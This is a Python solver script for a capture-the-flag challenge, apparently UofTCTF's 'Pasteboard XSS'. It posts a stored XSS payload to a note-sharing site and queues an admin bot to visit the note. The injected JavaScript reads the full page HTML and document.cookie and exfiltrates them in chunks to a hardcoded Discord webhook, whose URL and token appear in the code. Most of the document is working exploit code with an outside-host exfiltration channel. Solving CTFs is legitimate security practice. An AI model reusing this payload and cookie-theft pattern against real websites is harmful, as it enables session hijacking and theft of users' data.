#!/usr/bin/env python3
"""
Pasteboard XSS Challenge - WORKING SOLUTION
Discovery: Flag is IN the page HTML, not in files
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1459424345695715369/Gnx874Rcb7-ZXqQ6VDy-M_nSB-Su9R8KHIkcyj890gv1e60djv89CJbCkyRi-QPc-HvH"


def send_discord(content):
    """Send message to Discord"""
    try:
        requests.post(DISCORD_WEBHOOK, json={"content": content}, timeout=5)
    except:
        pass


print("="*80)
print("PASTEBOARD XSS SOLVER")
print("="*80)
print("Testing revealed:")
print("  - CDP ports blocked (Failed to fetch)")
print("  - Flag EXISTS in page HTML")
print("  - Extracting full page content")
print("="*80)

send_discord("Starting flag extraction...")

# STEP 1: Extract full page HTML and search for flag
print("\n[Step 1] Extracting page HTML...")

js_extract = """
(async()=>{
try{
let html=document.documentElement.outerHTML;
let webhook='""" + DISCORD_WEBHOOK + """';

// Search for flag pattern
let flagRegex=/uoftctf\{[^\}]+\}/gi;
let flags=html.match(flagRegex);

if(flags){
await fetch(webhook,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:'FLAG FOUND: '+flags.join(', ')})
});
}

// Send HTML in chunks
let chunkSize=1800;
for(let i=0;i<html.length;i+=chunkSize){
let chunk=html.substring(i,i+chunkSize);
await fetch(webhook,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:'HTML part '+(i/chunkSize+1)+': '+chunk})
});
await new Promise(r=>setTimeout(r,500));
}

await fetch(webhook,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:'Extraction complete. Total length: '+html.length})
});

}catch(e){
let webhook='""" + DISCORD_WEBHOOK + """';
await fetch(webhook,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:'Error: '+e.message})
});
}
})();
""".replace('\n', ' ')

payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_extract}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Flag Extractor", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    note_url = urljoin(CHALLENGE_URL, note_path)
    print(f"[+] Payload created: {note_url}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Bot queued!")
        print(f"\n{'='*80}")
        print("Check Discord for results:")
        print("  1. 'FLAG FOUND: uoftctf{...}' <- THE FLAG")
        print("  2. HTML parts showing page content")
        print("  3. 'Extraction complete' when done")
        print("="*80)
        print("\nWaiting 20 seconds for extraction...")
        time.sleep(20)
        print("\n[*] Check Discord now!")
    else:
        print(f"[-] Failed to queue: {report_response.status_code}")
        exit(1)
else:
    print(f"[-] Failed to create paste: {response.status_code}")
    exit(1)

# STEP 2: Alternative - Check document properties for flag
print("\n[Step 2] Checking document properties...")

js_props = """
let props={
title:document.title,
body_text:document.body?.innerText?.substring(0,500),
all_text:document.documentElement.innerText?.substring(0,1000),
cookie:document.cookie,
has_scripts:document.scripts.length,
has_flag:document.documentElement.outerHTML.includes('uoftctf')
};
fetch('""" + DISCORD_WEBHOOK + """',{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:'Document props: '+JSON.stringify(props,null,2)})
});
""".replace('\n', ' ')

payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_props}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

response2 = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Doc Props", "body": payload2},
    allow_redirects=False
)

if response2.status_code == 302:
    note_path2 = response2.headers.get('Location')
    print(f"[+] Props payload created: {urljoin(CHALLENGE_URL, note_path2)}")

    time.sleep(1)

    report_response2 = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path2}
    )

    if report_response2.status_code == 202:
        print(f"[+] Queued!")
        print("\n" + "="*80)
        print("EXTRACTION COMPLETE")
        print("="*80)
        print(f"Discord: {DISCORD_WEBHOOK.split('/')[-2][:10]}...")
        print("\nThe flag should now be in Discord!")
        print("Look for 'FLAG FOUND: uoftctf{...}'")
        print("="*80)
    else:
        print(f"[-] Failed: {report_response2.status_code}")
else:
    print(f"[-] Failed: {response2.status_code}")

send_discord("All extraction attempts complete. Check above for flag!")
